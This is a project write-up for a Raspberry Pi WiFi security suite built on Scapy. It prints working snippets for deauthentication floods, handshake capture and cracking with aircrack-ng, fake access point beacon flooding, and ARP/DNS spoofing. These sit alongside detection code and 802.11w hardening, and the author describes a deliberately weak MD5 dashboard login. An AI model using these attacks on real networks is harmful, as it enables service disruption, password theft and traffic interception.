WiFi Offensive and Defensive Security Suite
Source code: github.com/rakshan-k/WIFI-Offensive-and-Defensive-Security-Suite
My B.Tech final year project at TIFAC-CORE in Cyber Security, Amrita Vishwa Vidyapeetham: a Raspberry Pi-based suite, written in Python on top of Scapy, that performs the common 802.11 attacks against a target network, detects them, and feeds everything into a Django dashboard for monitoring and response.
Most tools in this space pick a side — either an attack framework (aircrack-ng, bettercap) or a detection tool — but rarely both in one codebase. The goal here was to build both halves from raw packets up, using Scapy instead of wrapping existing tools, so every frame sent or parsed is something I wrote and understand.
Architecture
The project runs as a CLI (main10.py) driving a monitor-mode wireless interface, plus a separate Django app (dashboard/) that reads logs and config off disk and renders them in a browser.
main10.py — menu-driven CLI: scan, deauth, handshake capture/crack, MITM, fake APs
audit.py — passive network scanner + WPA/WPA2/WPA3/WEP/open classifier
fake_ap.py — standalone beacon-frame flooder (rogue AP creation)
arp+dns_spoofing.py — ARP cache poisoning + DNS response spoofing (MITM)
combine.py — ARP + DNS spoof *detector*, sniffing live traffic
prereq.sh — kills NetworkManager/wpa_supplicant/dhclient, starts monitor mode
dashboard/ — Django app: login, logs, detections, prevention toggles, client list
The CLI and the detection scripts are independent processes that share the same wireless interface and the same on-disk log/config files under dashboard/main/static/, which the Django app then reads and renders.
Offensive capabilities
Network discovery
scan_networks() sniffs Dot11Beacon frames off the monitor-mode interface and pulls the ESSID, BSSID, and channel straight out of the 802.11 information elements:
def packet_handler(pkt):
if pkt.haslayer(Dot11Beacon):
essid = pkt[Dot11Elt].info.decode() if pkt[Dot11Elt].info else "Hidden SSID"
bssid = pkt[Dot11].addr2
channel = int(ord(pkt[Dot11Elt:3].info)) if pkt[Dot11Elt:3] else 0
audit.py does a more thorough version of the same scan, additionally calling Dot11Beacon.network_stats() to pull signal strength, supported rates, and the encryption suite, then classifies each AP by security tier:
if 'WPA3/PSK' in encryption: security_level = "Excellent (WPA3)"
elif 'WPA2/PSK' in encryption: security_level = "Good (WPA2)"
elif 'WPA/PSK' in encryption: security_level = "Moderate (WPA)"
elif 'WEP/PSK' in encryption: security_level = "Weak (WEP - Deprecated)"
else: security_level = "Insecure (Open Network)"
Deauthentication & handshake capture
A classic deauth flood — craft a Dot11Deauth management frame with reason code 7 (class 3 frame received from a nonassociated station) and send it on a loop:
dot11 = Dot11(addr1=client_mac, addr2=ap_mac, addr3=ap_mac)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
for _ in range(count):
sendp(packet, iface=interface, inter=0.1, verbose=False)
Kicking a client off the AP forces a reassociation and a fresh 4-way handshake. Rather than reimplement handshake capture in Scapy, the suite shells out to airodump-ng for the actual .cap file, then aircrack-ng for both handshake verification and dictionary cracking:
os.system(f"airodump-ng -w handshake --bssid {selected_ap_mac} --channel {selected_channel} {interface} &")
...
result = os.popen(f"aircrack-ng handshake-01.cap -w {wordlist_path}").read()
if "KEY FOUND!" in result:
# password parsed out of aircrack-ng's "KEY FOUND! [ password ]" line
On a successful crack, the ESSID/BSSID/password triplet is written to passwd.txt and the capture file is deleted.
Rogue / fake access points
fake_ap.py builds a bare 802.11 beacon frame — type 0, subtype 8 — stacks an SSID information element on it, and broadcasts it every 100ms from a randomized source MAC (RandMAC()):
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=sender_mac, addr3=sender_mac)
frame = RadioTap()/dot11/Dot11Beacon()/Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
The CLI’s create_fake_aps() wraps this to spin up several simultaneous fake APs across chosen SSIDs and channels — useful for beacon-flood testing and evil-twin style setups.
MITM: ARP + DNS spoofing
arp+dns_spoofing.py resolves both the victim’s and gateway’s MACs via arping, then alternates forged ARP replies (op=2) to poison both sides of the conversation:
packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(packet, verbose=False, iface=iface)
With the victim’s traffic now routed through the attacker, a sniffer thread filters for outbound DNS queries (DNS.qr == 0) and races a forged response back to the client before the real DNS server answers:
spoofed_packet = (IP(dst=packet[IP].src, src=packet[IP].dst) /
UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) /
DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
an=DNSRR(rrname=packet[DNSQR].qname, ttl=10, rdata=spoofed_ip)))
All intercepted traffic is written to a .pcap in a background thread for later analysis, and on Ctrl-C the script sends legitimate ARP replies to both target and gateway to restore the real mappings before exiting.
Defensive capabilities
combine.py runs the mirror image of the MITM attack as a passive detector, sniffing arp or udp port 53 on the interface:
- ARP spoof detection — keeps an
{IP: MAC}cache from observed ARP replies; if the same source IP shows up with a second, different MAC, it flags spoofing — the exact signal a forged gateway reply produces. - DNS spoof detection — inspects
Arecord answers in DNS responses against a small trusted-resolver allowlist (8.8.8.8,8.8.4.4,1.1.1.1) and flags anything resolving outside it.
The CLI also exposes a secure-AP path intended to counter deauth floods by hosting an access point with 802.11w (Management Frame Protection) enabled via hostapd — deauth/disassoc frames are only honored from APs that can cryptographically sign them, which is what actually stops the attack, rather than trying to filter deauth frames in software after the fact.
The dashboard
dashboard/ is a small Django app (SQLite-backed) that turns the CSV logs and TOML config dropped by the CLI/detection scripts into a browsable UI:
/logs,/detection,/prevention— render theevil-twin.csv,mitm.csv,detections.csv, andpreventions.csvlogs as tables via a smallhelper.get_log()CSV reader./settings— toggles which attack types (deauth,mitm,capture_handshake,dos_attack) are active, by flipping booleans inprevent.toml, and manages the MAC whitelist/blacklist files used by the detection scripts./clients_connected— lists currently associated clients.- Session-based login, gated by a
LoginRequiredMiddlewarethat redirects any unauthenticated request to/loginexcept the login/logout routes and static assets:
class LoginRequiredMiddleware:
def __call__(self, request):
if request.path in [reverse('login'), reverse('logout')] or request.path.startswith('/static/'):
return self.get_response(request)
if not request.session.get('is_logged_in'):
return redirect('login')
return self.get_response(request)
Running it
# prereq.sh — stop managed-mode services and start monitor mode
sudo killall -e NetworkManager wpa_supplicant dhclient
sudo airmon-ng start wlan1
python3 main10.py
The CLI then drops into a menu: pick Offensive to scan, deauth, capture/crack a handshake, run the MITM module, or spin up fake APs; pick Defensive to run the ARP/DNS spoof detector or bring up the hardened AP. The Django dashboard (python manage.py runserver inside dashboard/) is run separately and just needs read access to the same log/config files.
What I’d change next
Building this made a few things concrete that are easy to state abstractly but only really land once you’ve hit them:
- 802.11w is the actual fix for deauth, not detection. I initially tried to detect and filter deauth frames in software; it’s reactive and always a step behind. Enabling Management Frame Protection on the AP closes the attack at the protocol level instead.
- The crack path depends entirely on
aircrack-ng. Scapy is good for crafting and parsing frames, but reimplementing PBKDF2 / 4-way-handshake key derivation isn’t worth it when a battle-tested tool already does it well — so the suite shells out for that step rather than reinventing it. - The dashboard’s auth is intentionally minimal (a single hardcoded admin account, unsalted MD5) since it’s meant to run on an isolated lab Pi, not be internet-facing. A real deployment would swap this for Django’s built-in auth with hashed, per-user credentials.
- Next on the repo: an install script for easier deployment, WPA3 handling, and evil-twin detection in the defensive half.
If you want to try it yourself or dig into the code, it’s all in the GitHub repo — contributions and feedback welcome.
